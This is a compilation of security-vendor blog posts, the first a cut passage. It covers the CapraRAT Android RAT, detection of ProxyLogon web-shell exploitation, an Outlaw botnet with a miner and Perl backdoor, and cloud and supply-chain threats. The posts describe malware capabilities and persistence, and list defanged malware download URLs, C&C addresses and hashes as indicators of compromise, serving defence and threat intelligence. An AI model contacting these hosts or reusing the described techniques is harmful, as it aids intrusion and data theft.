In previous years, some CrimsonRAT samples were also found to be hosted on the viral91[.
]xyz domain.
Figure 14.
CrimsonRAT malware hosted in viral91[.
]xyz
We were also able to source a phishing document, “csd_car_price_list_2017,” that is related to this domain and has been seen in the wild in 2017.
This file name is interesting as “csd” is likely to be associated to "Canteen Stores Department" in Pakistan, which is operated by the Pakistani Ministry of Defence.
This is a possible lure for the Indian targets to open the malicious attachment, also used in a similar attack in 2021.
Upon downloading this malicious app that possibly arrived via a malicious link, the user will need to grant permissions upon installation to allow the RAT access to stored information.
The malware can do the following on a compromised device:
Access the phone number
Launch other apps’ installation packages
Open the camera
Access the microphone and record audio clips
Access the unique identification number
Access location information
Access phone call history
Access contact information
Once the Android RAT is executed, it will attempt to establish a connection to its C&C server, 209[.]127[.]19[.]241[:]10284.
We have observed that the Remote Desktop Protocol (RDP) certificate associated in this deployment, “WIN-P9NRMH5G6M8,” is a common string found in previously identified Earth Karkaddan C&C servers.
Figure 15.
Decompiled code from CapraRAT connecting to its C&C server
Figure 16.
CapraRAT config showing its C&C server and port information
Figure 17.
Backdoor commands found in CapraRAT
This APK file also has the ability to drop mp4 or APK files from asset directory.
Figure 18.
CapraRAT APK file drops an mp4 file
The RAT also has a persistence mechanism that always keeps the app active.
It checks whether the service is still running every minute, and if it is not, the service will be launched again.
Figure 19.
CapraRAT’s persistence mechanism
Reducing risks: How to defend against APT attacks
Earth Karkaddan has been stealing information since 2016 by means of creative social engineering lures and file-stealing malware.
Users can adopt the following security best practices to thwart Earth Karkaddan attacks:
Be careful of opening unsolicited and unexpected emails, especially those that call for urgency
Watch out for malicious email red flags, which include atypical sender domains and grammatical and spelling lapses
Avoid clicking on links or downloading attachments in emails, especially from unknown sources
Block threats that arrive via email such as malicious links using hosted email security and antispam protection
Download apps only from trusted sources
Be wary of the scope of app permissions
Get multilayered mobile security solutions that can protect devices against online threats, malicious applications, and even data loss
The following security solutions can also protect users from email-based attacks:
Trend Micro™ Cloud App Security – Enhances the security of Microsoft Office 365 and other cloud services via computer vision and real-time scanning.
It also protects organizations from email-based threats.
Trend Micro™ Deep Discovery™ Email Inspector – Defends users through a combination of real-time scanning and advanced analysis techniques for known and unknown attacks.
Trend Micro™ Mobile Security for Enterprise suite – Provides device, compliance and application management, data protection, and configuration provisioning, as well as protects devices from attacks that exploit vulnerabilities, prevents unauthorized access to apps and detects and blocks malware and fraudulent websites.
Trend Micro’s Mobile App Reputation Service (MARS) – Covers Android and iOS threats using leading sandbox and machine learning technologies to protect users against malware, zero-day and known exploits, privacy leaks, and application vulnerability.
Indicators of Compromise
A list of indicators can be found in this text file.
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Last March it seemed the world came to a stand-still as the COVID-19 pandemic begin to rapidly spread.
While businesses, sporting events, and schools started shutting down, cybercriminals remained active as ever.
In 2020, the Trend Micro Zero Day Initiative™ (ZDI) published 1,453 advisories, the most ever in the history of the program.
More startling is the fact that 18.6% of all disclosures were published without a fix from the vendor—another record-breaking stat.
As ZDI predicted, 2021 continued to be a busy year.
In March 2021, Microsoft kicked off the patch cycle early after releasing an advisory regarding the mass exploitation of four zero-days vulnerabilities by a Chinese Hacking group, HAFNIUM, on the on-premises versions of the Microsoft Exchange Server.
In the following days of the attack, Trend Micro reported that at least 30,000 organizations were thought to have been attacked in the US, and 63,000 servers remained exposed to these exploits.
The vulnerability has been dubbed as ProxyLogon by the researchers at DEVCORE, who are credited with finding the bugs in the proxy architecture and the logon mechanism of Exchange.
DEVCORE reported two of the four zero-days (CVE-2021-26855 and CVE-2021-27065) to Microsoft Security Response Center (MSRC).
On March 2, Volexity reported in-the-wild exploitation of the vulnerabilities, to which DEVCORE confirmed that the exploit observed by Volexity was the one submitted to MSRC.
Since then, there has been opportunistic exploitation by various threat actors and ransomware groups (Dearcry, BlackKingdom) since majority of Outlook Web App portals are public and indexed by search engines like Google Search, Shodan, Binaryedge, Censys, Zoomeye etc.
According to Shodan, on March 4, there were more than 266,000 Exchange Servers vulnerable to the ProxyLogon vulnerability, a day after the patch was released.
Fig - Shodan Results
In lieu of these exploits, let’s take a look at how Trend Micro Vision One™ and Trend Micro Cloud One™ can provide protection against two of the four zero-days, CVE-2021-26855 and CVE-2021-27065.
Overview:
Two bugs are chained to achieve the remote code execution and for the attack to be successful, an attacker requires access to the Outlook Web App portal of the vulnerable Exchange Server, and a valid email address.
CVE-2021-26855: Microsoft Exchange Server Remote Code Execution Vulnerability (pre-authenticated Server-Side Request Forgery [SSRF])
CVE-2021-27065: Microsoft Exchange Server Remote Code Execution Vulnerability (post-authenticated Arbitrary File Write)
Fig - MS Exchange Client Access Protocol Architecture
The Client Access services (Outlook Web App portal) proxies the incoming connections to the Backend services.
As per the Exchange documentation, clients don’t directly connect to the backend services.
But because of the SSRF vulnerability, attackers can query the internal backend services and APIs on the Exchange Server, bypassing the frontend proxy.
By abusing the SSRF, attackers can create session IDs and access tokens for privileged accounts with the context of the Exchange Control Panel, which can be used to write files with attacker-controlled content at a location on the target server, chosen by the attacker.
Since Exchange depends on Internet Information Services (IIS) webserver, an attacker can write ASPX webshells and run arbitrary commands as SYSTEM on the Exchange Server.
In January 2021, we came across extensive use of Chopper ASPX webshells in targeted attacks by malicious actors to establish persistence and a foothold on the public-facing Outlook Web App servers.
Trend Micro Cloud One™ – Workload Security Correlation:
Trend Micro Cloud One™ – Workload Security is a cloud-native solution that provides automated security via powerful APIs.
Security as code allows DevOps teams to bake security into their build pipeline to release continuously and frequently, so developers like yourself, can keep working without disruption from security.
Workload Security uses advanced security controls such as intrusion prevention system (IPS), deep packet inspection (DPI), and integrity monitoring to protect Exchange Servers from attackers that could exploit ProxyLogon.
The following detection rules safeguard a vulnerable Exchange Server from the CVEs reported:
Intrusion Prevention System detections:
1010854 - Microsoft Exchange Server Remote Code Execution Vulnerability (CVE-2021-26855)
1010868 - Microsoft Exchange Server Remote Code Execution Vulnerability (CVE-2021-27065)
1010870 - Microsoft Exchange Server Remote Code Execution Vulnerability (CVE-2021-27065) – 1
1007170 - Identified Suspicious China Chopper Webshell Communication (ATT&CK T1100)
1005934 - Identified Suspicious Command Injection Attack
Integrity Monitoring detections:
1010855 - Microsoft Exchange - HAFNIUM Targeted Vulnerabilities
1010854 - Microsoft Exchange Server Remote Code Execution Vulnerability (CVE-2021-26855)
1007170 - Identified Suspicious China Chopper Webshell Communication (ATT&CK T1100)
1010870 - Microsoft Exchange Server Remote Code Execution Vulnerability (CVE-2021-27065) - 1
1005934 - Identified Suspicious Command Injection Attack
IM Rules:
1010855 - Microsoft Exchange - HAFNIUM Targeted Vulnerabilities
Trend Micro Vision One™ Correlation:
Fig - Microsoft Exchange Server RCE Vulnerability (CVE-2021-26855 + CVE-2021-27065)
Trend Micro Vision One™ is a purpose-built, threat defense platform with extended detection and response (XDR) capabilities that work to prevent majority of attacks with automated protection.
The solution allows you to see more and respond faster by collecting and correlating data across email, endpoints, servers, cloud workloads, and networks.
Using the Trend Micro Vision One Workbench, you can easily see what threats were detected, attack techniques, and a prioritized list of risky devices and users.
With Trend Micro Vision One, we ran a public proof of concept (PoC) available online exploiting the ProxyLogon vulnerability.
The above image shows the vulnerability detected and all the assets related to the alert for further investigation.
Let’s take a deeper look:
Fig - Potential Chopper Webshell Detection
The Potential Chopper Webshell Execution model triggers when the web shell is already present on the machine and is being used as a backdoor to run commands as SYSTEM on the Exchange Server using China Chopper.
The metrics provided by this model should be investigated carefully, since the ProxyLogon zero-day vulnerability was exploited in-the-wild, before Microsoft addressed the issue publicly.
Microsoft has since taken things a step further by creating patches for out-of-support versions of Exchange.
Overall, Microsoft released patches for 89 unique CVEs in March—14 of which were listed as Critical and 75 listed as Important in severity.
Fig - Microsoft Exchange Server Possible ASPX Web Shell
The above model triggers when a new web shell is created.
You can see the path and name of the web shell.
Fig - Potential Chopper Webshell Execution
Fig - Identified Suspicious China Chopper Webshell Communication
Fig - Possible Credential Dumping via Command Line
This model is triggered when an attacker fetches the credentials using a command-line from within the memory using Mimikatz.
Since the web shell runs as the SYSTEM user, an attacker can fetch the NT LAN Manager (NTLM) hashes of the logged-in users, create or delete accounts, and perform extensive post-exploitation activities on the Exchange Server.
Figure - Executing Mimikatz as SYSTEM using CC
Fig - System Owner User Discovery
The above event was triggered when we ran whoami from within the Chopper web shell.
Since requests to the ASPX web shell are handled by the privileged w3wp.exe, an IIS Worker Process in the configured IIS application pool (Microsoft Exchange App pool) runs the commands in the context of NT Authority\SYSTEM user.
RCA Diagrams:
Fig.
Executing commands using Chopper CnC
Conclusion
There is no silver bullet when it comes to cybersecurity but using solutions that bake into your development pipeline to provide security as early as possible is better than scrambling for patches after deployment.
Quick and easy to deploy solutions like Trend Micro Cloud One and Trend Micro Vision One can provide you with SecOps-approved security from build-time to runtime without slowing you down.
Imagine that!
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One of our honeypots detected a URL spreading a botnet with a Monero miner bundled with a Perl-based backdoor component.
The routine caught our attention as the techniques employed are almost the same as those used in the Outlaw hacking group’s previous operation.
During our analysis, we also observed the use of an executable Secure Shell (SSH) backdoor, and noted that the components are now installed as a service to provide persistence to the malware.
The Perl-based backdoor component is also capable of launching distributed denial-of-service (DDoS) attacks, allowing the cybercriminals to monetize their botnet through cryptocurrency mining and by offering DDoS-for-hire services.
However, we think that the cybercriminals behind this threat may still be in the testing and development phase, based on the shell script components that were included in the TAR file but left unexecuted.
As of this writing, our telemetry has detected infection attempts in China.
Routine
Our data shows that the malware gains access to the system with brute-force attacks via SSH and executes two possible command files.
Components of the file and routine appear similar to those of a published entry, while our sample executed .x15cache, the bash script that downloads the malware.
Figure 1.
Targeted machine using brute force via SSH
The shell script downloads, extracts, and executes the miner payload.
The extracted TAR file contains folders with scripts and the miner and backdoor components.
Figure 2.
Extracting the miner payload and backdoor component
Figure 3.
File tree of the extracted TAR file
Folder a contains the cron and anacron binaries, which are the cryptocurrency miners used by the malware.
The other files are shell scripts responsible for the execution of the miner components, cleaning, and deletion of competing miners installed in the system.
Folder b contains the backdoor components and shell scripts for running and stopping them.
One of the files, rsync, is an initially obfuscated Perl-based Shellbot capable of multiple backdoor commands such as file downloading, shell cmd execution, and DDoS.
Figure 4.
Obfuscated Perl script
Figure 5.
Code snippet of unobfuscated rsync
Another file, ps, is a Linux executable that serves as an SSH backdoor.
Figure 6.
SSH backdoor
The file tree initially showed folder c from dota2[.]tar[.
]gz file to be empty.
It also contains several binaries and shell scripts, but only a few of those execute during the infection.
From our honeypot sample, this may be an indication of the campaign’s being in the testing or development phase.
We think that future iterations of this threat will use the unused files.
However, looking around the related URLs ps tries to connect to, we found mage[.]ignorelist[.
]com containing a compressed file, dota[.]tar[.]gz.
It contains the same file folders a and b as the TAR file downloaded by .x15cache, while folder c now contains the files tsm32 and tsm64, along with other executables and components.
Figure 7.
Folder c
The files tsm32 and tsm64 appear to be scanners responsible for propagating the miner and backdoor via SSH brute force, and capable of sending remote commands to download and execute the malware.
Figure 8. tsm32
Figure 9.
Remote commands sent by tsm32
The file, .satan is a shell script that installs the backdoor malware as a service.
In Linux, files that start with a period are hidden.
Figure 10.
.satan file
Conclusion
When we initially uncovered the operation of Outlaw in 2018, we noted how quickly it went from the testing and development phase to compromising more than 200,000 hosts around the world, including mobile devices.
In this case, we were able to get samples indicating an attack in its early phase.
Initially compromising and infecting systems enables it to widen its reconnaissance and scanning capabilities for more open ports on specific IP addresses, report to the command-and-control (C&C) server, and launch DDoS attacks like User Datagram Protocol (UDP) floods.
Also, the techniques employed here are common and widely known to be exchanged in the underground.
Outlaw has made a name for itself by combining malicious cryptocurrency miners with a Perl-based backdoor able to turn its victim machines into a botnet in one DDoS-for-hire service.
Given that Perl is installed in the machine, the use of Perl programming language for its backdoor ensures the malware flexibility to execute in both Linux- and Windows-based systems.
And should the group decide to sell the code, the maintenance of the code would be easier to the buyer for more possible uses, adjustments, and execution.
We also noticed the presence of an APK file hosted in one of the servers, suggesting that if the cybercriminals decide to go further than just infecting servers, they may decide to attack Android-based devices.
Users are advised to close unused ports and to secure ports that are regularly open for system administrators’ support.
Users can also adopt a multilayered security solution that can protect systems from the gateway to the endpoint, actively blocking malicious URLs by employing filtering, behavioral analysis, and custom sandboxing.
Trend Micro Solutions
Customers of the Trend Micro™ TippingPoint™ solution are protected from this threat via these MainlineDV filters:
2573: MINER - TCP (Request)
Indicators of Compromise (IoCs)
File name
SHA256
Detection
rsync
0d71a39bbd666b5898c7121be63310e9fbc15ba16ad388011f38676a14e27809
Backdoor.
Perl.SHELLBOT.AB
ps
bb1c41a8b9df7535e66cf5be695e2d14e97096c4ddb2281ede49b5264de2df59
Backdoor.
Linux.SSHDOOR.AB
cron
4efec3c7b33fd857bf8ef38e767ac203167d842fdecbeee29e30e044f7c6e33d
Coinminer.
Linux.MALXMR.UWEJN
anacron
66b79ebfe61b5baa5ed4effb2f459a865076acf889747dc82058ee24233411e2
tsm32
0191cf8ce2fbee0a69211826852338ff0ede2b5c65ae10a2b05dd34f675e3bae
Trojan.
Linux.SSHBRUTE.A
tsm64
085d864f7f06f8f2eb840b32bdac7a9544153281ea563ef92623f3d0d6810e87
URLs
• 146[.]185[.]171[.
]227:443
• C&C for Backdoor.
Perl.SHELLBOT.AB - 5[.]255[.]86[.
]129:3333
• C&C for Backdoor.
Linux.SSHDOOR.AB - 54[.]37[.]70[.
]249/.satan
• 54[.]37[.]70[.
]249/rp
• hxxp://54[.]37[.]70[.
]249/.x15cache
• hxxp://54[.]37[.]70[.
]249/dota2.tar.gz
• hxxp://54[.]37[.]70[.
]249/fiatlux-1.0.0.apk
• APK file hosted on this server - hxxp://mage[.]ignorelist[.
]com/dota.tar.gz
• mage[.]ignorelist[.
]com
• zergbase[.]mooo[.
]com
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It’s that time of year again – our researchers have analyzed and reviewed the threats and attacks that occurred during the first half of 2021.
Our report, Attacks From All Angles: 2021 Midyear Security Roundup, highlights many of the active attacks we saw, from APTs to ransomware to zero-day exploits.
I’d like to highlight an area where we are seeing increased activity: attacks against cloud infrastructures.
I’ve spoken on this at a few events and asked my audiences how many have active cloud infrastructure projects going on, the answer is always most of them.
In our 1H’ 2021 Cyber Risk Index, we asked organizations what their top infrastructure risks are.
Cloud security has been in the top two for the last few years.
Obviously, many organizations are moving quickly to the cloud and, as such, need to be thinking about how to secure it.
Below is an overview of what we’re seeing in cloud attacks.
Threats Impacting Cloud Environments
In our first half report, we highlight an APT group named TeamTNT that has been targeting clouds for quite a while now.
They have focused most of their efforts on planting crypto-mining malware on cloud servers in an effort to mine Monero coins, but we have also seen them utilize DDoS IRC bots, steal cloud account credentials, and exfil data.
As you can see from the above diagram, all of these are end goals for most attacks.
Speaking of data exfil, in the first half we saw APT actors utilize cloud-based file storage to exfiltrate their stolen data.
For example, we found that Conti operators use the cloud storage synchronization tool Rclone to upload files to the Mega cloud storage service.
Similarly, DarkSide operators used Mega client for exfiltrating files to cloud storage, 7-Zip for archiving, and PuTTY application for network file transfers.
This use of known, legitimate tools is not new; we call that “living off the land” and have seen this tactic pick up recently, including usage by ransomware actors.
Many organizations now need to look at ways of monitoring legitimate tools usage within their networks to identify any malicious uses.
Cloud Security Architecture
When developing your cloud security architecture and strategy, it is important to always keep the ends in mind.
In this case, what are the motivation and end goals of an attacker?
As you see in the image above, most cloud attacks are going to fall into one of these areas.
Depending on what you are doing as part of your cloud infrastructure, you should be able to identify if any or all of these end goals could be targeted in your environment.
From there, you can work backwards to develop your strategy for protecting those initial access areas tied to the different attacks.
A challenge many organizations face is that the cloud isn’t simple, and many of the technologies that make up the cloud are new, with new features being deployed all the time.
Understanding how these work and – more importantly – how to secure them can be very difficult.
Utilizing a security platform approach can help build your cloud to be more secure, but educating your architects and administrators will also help.
One key area is hardening your cloud account credentials, as these will be regularly targeted by malicious actors.
Using multi-factor authentication to access all accounts can minimize this risk tremendously.
Take a look at Trend Micro Cloud One, part of our complete cybersecurity platform, to learn more.
The cloud is only one aspect of our full 1H 2021 report.
To get more details on all the different threats and attacks we observed, download and read the full report here.
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The Cybersecurity and Infrastructure Security Agency (CISA) recently issued an alert regarding an advanced persistent threat (APT) compromising government agencies, critical infrastructures, and private sector organizations.
According to CISA, the APT actor is accountable for the compromise of the SolarWinds Orion supply chain.
The actor is also responsible for the abuse of commonly used authentication mechanisms.
The Agency then urged organizations to make identifying and addressing such threats a priority.
Under the Presidential Policy Directive (PPD) 41, the agency, together with the Federal Bureau of Investigation (FBI), and the Office of the Director of National Intelligence (ODNI), formed a Cyber Unified Coordination Group (UCG).
This group aims to coordinate a "whole-of-government" response to the above-mentioned cyber incident.?
A UCG is also formed for integrating private sector partners into incident response efforts.
In general, a Cyber UCG is created when a vital cyber incident affects critical infrastructure owners and operators.
These are determined by the Secretary of Homeland Security as possessing or operating critical infrastructure wherein a cyber incident could lead to a catastrophic regional or national effect on national security, economic security, or public health.
Supply chain attacks are quite risky and could result in real-world impacts.
In a report done by Trend Micro entitled “Critical Infrastructures Exposed and at Risk: Energy and Water Industries”, researchers were able to expose vulnerabilities of human-machine interface (HMI) used in critical water and energy organizations.
They also showed real-world implications that these vulnerabilities have.
Geopolitical risk is also a big concern for securing supply chains.
To mitigate such risk, organizations must think globally and exert efforts to follow codes of local culture.
Organizations need to have a deeper understanding of regional and national policies to ensure the safety of the supply chain.
Read our three-part series on smart factories from the perspective of supply chain disruptions to learn more about supply chain cybersecurity.
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The Cybersecurity and Infrastructure Security Agency (CISA) and the National Institute for Standards and Technology (NIST) recently published “Defending Against Software Supply Chain Attacks”.
The guideline provides an overview of software supply chain risk and how vendors and customers can identify and assess such risks using the NIST Cyber Supply Chain Risk Management (C-SCRM) Framework and the Secure Software Development Framework (SSDF).
Software supply chains are an integral part of a large information and communications technology (ICT) supply chain framework.
It is an ecosystem of retailers, distributors, and suppliers participating in the sale, delivery, and production of hardware, software, and managed services.
An attack on the software supply chain happens when a cyber threat actor invades a vendor's network and uses malicious codes, compromising the software before the vendor sends it to their consumers.
The compromised software will then put the customer's data or system at risk.
According to the guideline, newly acquired software may be compromised from the get-go.
It can also be compromised through a patch or hotfix.
These threats affect all users of the tampered software, resulting in major consequences for government, critical infrastructure, and private sector software consumers.
The guideline thoroughly explains the three most common methods threat groups use to infiltrate the supply chain.
It also establishes a few recommendations for software customers and vendors to prevent and mitigate attacks as well as improve resilience against software supply chain attacks.
The three most common methods are taking over the software update mechanism to deliver an updated software with malicious code, exploiting misconfigured access controls, and targeting publicly accessible code libraries, and inserting malicious code, which unknowing customers then download to their systems.
The document also provides the following eight best practices for establishing a C-SCRM approach and applying it to software:
Incorporating C-SCRM across the organization;
Creating a formal C-SCRM program;
Knowing and managing critical components and suppliers;
Understanding the organization's supply chain;
Working closely with key suppliers;
Including key suppliers in resilience and improvement activities;
Evaluating and monitoring throughout the supplier relationship; and
Planning for the full life cycle.
While the guideline gives thorough recommendations on preventing supply chain attacks, it is still vital for organizations to take extra measures to mitigate vulnerable software components.
Organizations should also create a program that can manage and control their supply chain's vulnerabilities, minimizing the possibilities of attacks.
In addition, organizations must know and understand the risks associated with supply chains and smart factories.
To learn more about overlooked risks associated with supply chain and smart factories, read our expert team's proof of concept paper, "Forward-looking security analysis of smart factories".
This extensive research also discusses feasible attack scenarios and recommended defense strategies.
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&amp;nbsp;
[Lightly edited transcript of the video above]
Hi there, Mark Nunnikhoven from Trend Micro Research, I want to talk to you about the concept of lateral movement.
And the reason why I want to tackle this today is because I've had some conversations in the last few days that have really kind of hit that idea bulb that people don't truly understand how cybercriminals get away with their crimes in the organization.
Specifically how they launch their attacks.
Now don't get me wrong, this isn't to blame on defenders.
This isn't to blame of the general public.
I'm going to go with Hollywood's to blame a little bit here, because we're watching movies in Hollywood inevitably…you know the hackers in their dark hat and with no lighting, underground, Lord knows where they find these places to hack from and they are attacking directly through.
You see a bunch of text go across the screen and they penetrate through the first firewall, through the second firewall in into the data.
That's not how it works at all.
That's ridiculous.
It's absurd.
[00:59]
It makes for interesting cinema, just like the red code/green code in CSI Cyber, but it's not a reflection of reality and that's a real challenge.
Because a lot of people don't have the experience of working with cybersecurity, working in cybersecurity, so their only perception is what they see either through media—you know TV, movies, books—or if they happen to run into somebody at in the industry.
So there is an overwhelming amount of sort of information or misinformation.
Not even misinformation, just storytelling that tries to make it far more dramatic than it is.
The reality is that cybercriminals are out for profit.
We know this time and time again—yes a bunch of nation-state stuff does happen but the vast majority of you are unaffected by it same with there's
a massive amount of script-kiddie just sort of scanning random people with random tools that are just seeing what they can get away with that and
if you have solid, automated defenses that doesn't really impact you.
What does impact you is the vast majority of organized cybercriminals who are out to make a profit.
Trend Micro had a great series and continues to have a great series on the Underground, the Digital Underground that shows just how deep these profit motivations go.
This is very much a dark industry.
And with that in mind we come back to the concept of lateral movement.
[02:22]
If an attacker breaches into your systems, whether they come in like a fourth of all attacks do via email whether they come in directly through a server compromise, which is about half of all breaches according to the Verizon data breach investigation report or one of the other methods that is commonly used…then they start to move around within your network.
That's lateral movement.
We talk about north/south traffic with the network, which is basically inside the network to outside of the network, so out to the the internet and back.
East/west is within the network itself.
Most defenses, traditional defenses worry about that north/south traffic.
Not enough worry about the east/west and it's breaking down finally.
We are getting rid of this hard perimeter.
"It's mine, I defend everything inside" …and realizing that this is actually how cybercriminals work.
Once they're inside they move around.
So we need to defend in-depth and have really great monitoring and protection tools within our networks because of this challenge of lateral movement.
[03:23]
Let me give you a little easier to digest analogy.
Most of us in a home have a grocery list and maybe once a week—maybe twice–we head to the grocery store and we try to get everything we want off the list and then we come back.
That just makes sense.
That's how we do it.
Right?
You would never think of going, "Okay.
Number one of the list is ketchup.
I'm going to drive to the store to get ketchup.
I'm going to buy it and I'm going to come back home.
I'm going to look at item number two.
I need a loaf of bread.
I'm going to drive back to the store.
I'm going to buy a loaf of bread and I'm going to come back and we can go to item 3, and I'm going to go and I'm going to come back.
I'm going to..." That's just ridiculous, right?
That's absolutely absurd and cybercrimals agree.
Once they've driven to the store.
They're going to buy everything that they need and everything that they see as an opportunity, right?
They are really susceptible to those end caps and impulse buys... and then they're going to leave.
This is how they attack our organizations.
We know that, because of the average time to detect a breach is around 197 days right now and that stat has fluctuated maybe plus or minus 15 days for the last decade.
We also know that it takes almost three…it takes two and a half to three months actually contain a breach once you discover it and the reason for all of this is lateral movement.
Once you're in as a cybercriminal, once you've made headway, once you gained a beachhead or a foothold within that network you're going to do everything you can to expand it because it's going to make you the most amount of money.
[04:55]
What do you think?
Let us know in the comments below, hit us up on social @TrendMicro or you can reach me directly @marknca.
How are you handling lateral movement?
How are you trying to reduce it?
How are you looking for visibility across all of your systems?
Let's continue this conversation because when we talk we all get better and more secure online.
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There’s a very good reason why AWS remains a leader in cloud computing.
While many providers describe themselves as “customer obsessed,” few come close to our long-time partner in the lengths it goes to earn and retain the trust of its customers.
AWS starts with the customer and works backwards.
That means the vast majority of its feature enhancements and new services are directly driven from their input.
The latest is Amazon GuardDuty Malware Protection.
This threat detection tool, which will work closely with Trend Micro cloud solutions, will provide another valuable layer of defense in our fight against a shared adversary.
Shining a light on an expanding attack surface
Spurred by a drive for greater cost efficiency and business agility, global organizations are migrating to the cloud in droves.
Gartner predicts the worldwide market for public cloud services will reach almost $495bn this year, and grow by over 21% in 2023.
In this environment, security remains a persistent concern for cloud builders, because if not properly managed, investments can increase the digital attack surface.
According to recent Trend Micro research, many global organizations are already struggling to securely manage their cloud assets.
We found that 73% of IT and business leaders are concerned with the size of their attack surface, and 43% claim it is “spiralling out of control.” Cloud is the area where most respondents say they have least insight.
They want their cloud providers to do more—for example by building enhanced detection into their systems, to complement third-party tools.
That’s part of the reason why AWS built Amazon GuardDuty Malware Protection was built.
This new feature is triggered by detection of known malicious signatures across the cloud network.
Based on this detection, the service scans the associated Amazon EBS storage environment for malware and reports any findings to AWS Security Hub.
Open APIs from here link to products like Trend Micro Cloud One to enhance existing detection and response efforts.
Better together
Trend Micro and AWS have been working closely together for over a decade now, and this latest announcement represents another exciting stage in the journey.
Customers will welcome AWS native threat detection as a complement to their Trend Micro Cloud One capabilities, delivering a comprehensive range of features to secure the hybrid cloud.
Once they add the AWS tool to our virtual patching, vulnerability scanning, lateral movement detection, posture management and other capabilities, joint customers will have a powerful set of integrated offerings to deliver simple, all-in-one cloud security and compliance.
In addition, this move from AWS validates our XDR strategy, which is focused on using as many data sources as possible to enhance detection and response.
The bottom line is that security takes a village.
Customers, cloud providers and security vendors have a shared responsibility to work together as the threat landscape continues to evolve.
That’s what we’ll continue to do, expanding and deepening our strategic partnerships with AWS and other providers in a collective effort to make the digital world safer.
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Jon Clay, VP of Threat Intelligence: [00:00:00] Hey welcome everybody.
Jon Clay, VP of Threat Intelligence here at Trend Micro and welcome to another episode of #TrendTalksBizSec.
Joining me again is my cohort in crime.
Ed Cabrera, Chief Cybersecurity Officer: My name's Ed Cabrera.
I'm the Chief Cybersecurity Officer at Trend Micro.
It’s great to be here.
Jon: You know, interesting Ed, I recently was able to travel to Switzerland, to Davos for the World Economic Forum, as part of our Cybersecurity Tech Accord Allegiance.
They got me to speak at a panel there and the topic was quite interesting.
It was about hybrid warfare and cyber warfare.
And while there was a really good discussion during it, and you can actually find it online – it's on YouTube – if you want to take a look at it.
But we didn't cover a number of areas that I thought we were going to cover, but we didn't.
So I thought you and I [00:01:00] could take time today and talk a little bit about cyber warfare, hybrid warfare.
Obviously, with the issues going on with Russia and Ukraine, we're starting to see this.
Any initial thoughts around this?
Maybe explain to the audience what hybrid warfare or cyber warfare is.
Ed: Well, yeah, absolutely.
There's been this thought process and planning for many, many years as cyber has become that fifth domain from a Department of Defense perspective.
The Department of Defense has always wanted to, and their goal is to, maintain dominance across all domains.
Cyberspace now is critical and one of the key domains out there.
And so, when we talk about in terms of cyber conflict, cyber war, it has usually been in the context of just [00:02:00] another element within that 360-degree dominance that they hope to achieve in any conflict of war.
Cyber is that one space such as air dominance, for example, right?
Whatever conflict you go into, a war be it, you want to maintain air dominance.
And cyberspace is just one of them now, but we're getting into this unique area which we anticipated…could cyber conflict be the main domain that is being acted upon?
So instead of doing the kinetic or traditional, physical aspects of it, could you have cyber war be the only element that is happening?
I think the Russian invasion of Ukraine has really brought that up to a different level in that discussion and what we're actually seeing.
We'll talk about it [00:03:00] here now, but I think when we talk in terms for, especially for here is like cyber conflict, cyber war, or hybrid, and the hybrid piece is just a definition of kinetic and cyber.
Jon: Right.
One thing we obviously are seeing is that cyber is going to have a part to play in any upcoming conflict, but it may not be as big as what people thought.
You know, we were thinking, we could do away with the tanks and the air force and all that.
And you just have computers fighting it out.
But obviously that's not the case as we're seeing with Ukraine and Russia, right?
Ed: No, absolutely.
We've thought of cyberwar as being this dominant part of any conflict, but there's still so many physical, critical infrastructure types of kinetic [00:04:00] targets and goals or objectives that you need to achieve in any conflict.
So cyber is still critical as we become more hyper-connected.
As we approach ubiquitous computing, ubiquitous connectivity, cyber then becomes very relevant.
But as we’ve seen, it's an interesting concept because traditionally cyber has just been more of an information gathering or cyber espionage tool to aid any type of conflict.
But now with critical infrastructure across the globe being much more hyper-connected and being a richer target from a cyberspace perspective, now we do see that now cyber becomes a more dominant role in this.
Jon: Yeah, and what's interesting is years ago we saw where Russia [00:05:00] took down the energy plant in Ukraine, but in a real warfare, maybe bombing that plant would be a much more effective thing than trying to take it offline.
Ed: Well, I mean, it still serves a purpose if you're able to knock down the power or communication, the real two top tier critical infrastructure.
If you're able to eliminate communication and power, you have disrupted and/or created enough opportunity on the kinetic side or the physical side to be able to come and do more damage.
Like any conflict, we're all kids of understanding war and conflict, unfortunately, but command and control is necessary for any conflict.
That's one of the first areas on either side they're looking to obtain dominance, is to knock out the command and control.
And what is that?
Power and communications.
Jon: I think the [00:06:00] other aspect that we're seeing is the misinformation and disinformation campaigns that can be done via cyber to make the citizens of the country that's being attacked unaware, or they don't know what to do, where to go, because we're so connected now to the internet for information.
If you can do a misinformation campaign to disrupt that, I think that's one of the areas we'll see a big time with future conflicts, especially in the initial stage.
When you're first going in, you start that initial disinformation misinformation campaign, and then you continue it throughout the campaign.
Ed: Oh, absolutely.
It's nothing new.
Information warfare, PSYOPs, psychology operations - you name it.
It's already been in existence, but social media, 24/7 news cycles have made it even more important to where it's an integral part.
Jon: We don't need to [00:07:00] drop the pamphlets out of the plane anymore.
Ed: Exactly.
You don't need to – everybody's got a phone, right?
So, you're able to instantaneously provide some type of propaganda or misinformation around the globe.
That is more important now more than ever, is that ability to do that.
And then, we've talked about this, right, it's the deep fakes of audio, video, and everything else.
Jon: They could have done a deep fake of Zelensky talking about something that could have caused panic inside the country.
Think about something like that happening.
That's what you're probably going to see in the future as well.
One other area that we didn't talk about that I thought was pretty interesting was around cyber mercenaries.
In the past, you had the soldiers fighting the war between it, right?
But now with cyber, you have these cyber mercenaries that aren't [00:08:00] necessarily in the military complex.
They’re regular citizens.
We've got Russian cyber mercenaries targeting people outside and targeting Ukraine, but we also have Anonymous from the outside targeting Russia.
How do we deal with cyber mercenaries?
Are they combatants?
Are they non-combatants?
What are your thoughts on that?
Ed: Yeah, well, again, everything that we see in cyberspace is a direct analogy on the physical side.
So, war by proxy has been around forever.
Such as the term mercenary, right?
This just makes it unique.
Let's look at logistics and how to utilize mercenary forces on the physical side in any conflict.
You still need to identify them.
You need to pay them.
You need to get them to the battlefield.
You need to equip them.
There was a lot of [00:09:00] logistics associated with it.
Now you take cyber, and you take cyber mercenaries, regardless of their affiliation.
They could be patriotic hackers, they could just be guns for hire or cyber guns for hire, so to speak.
So they can come from different flavors.
But the one thing that is unique across the board is that you could stand them up very quickly.
There is also the ability to create false flag operations.
You can have countries create cyber operations against any adversary and then make it look like it's coming from another group.
There is not only the actual mercenaries, who they are, where they are, and how do you combat or defend against them.
But now it's like, are they really mercenaries?
Are they really just uniform soldiers behind keyboards?
So [00:10:00] it's an interesting thing that nobody really likes to talk about it.
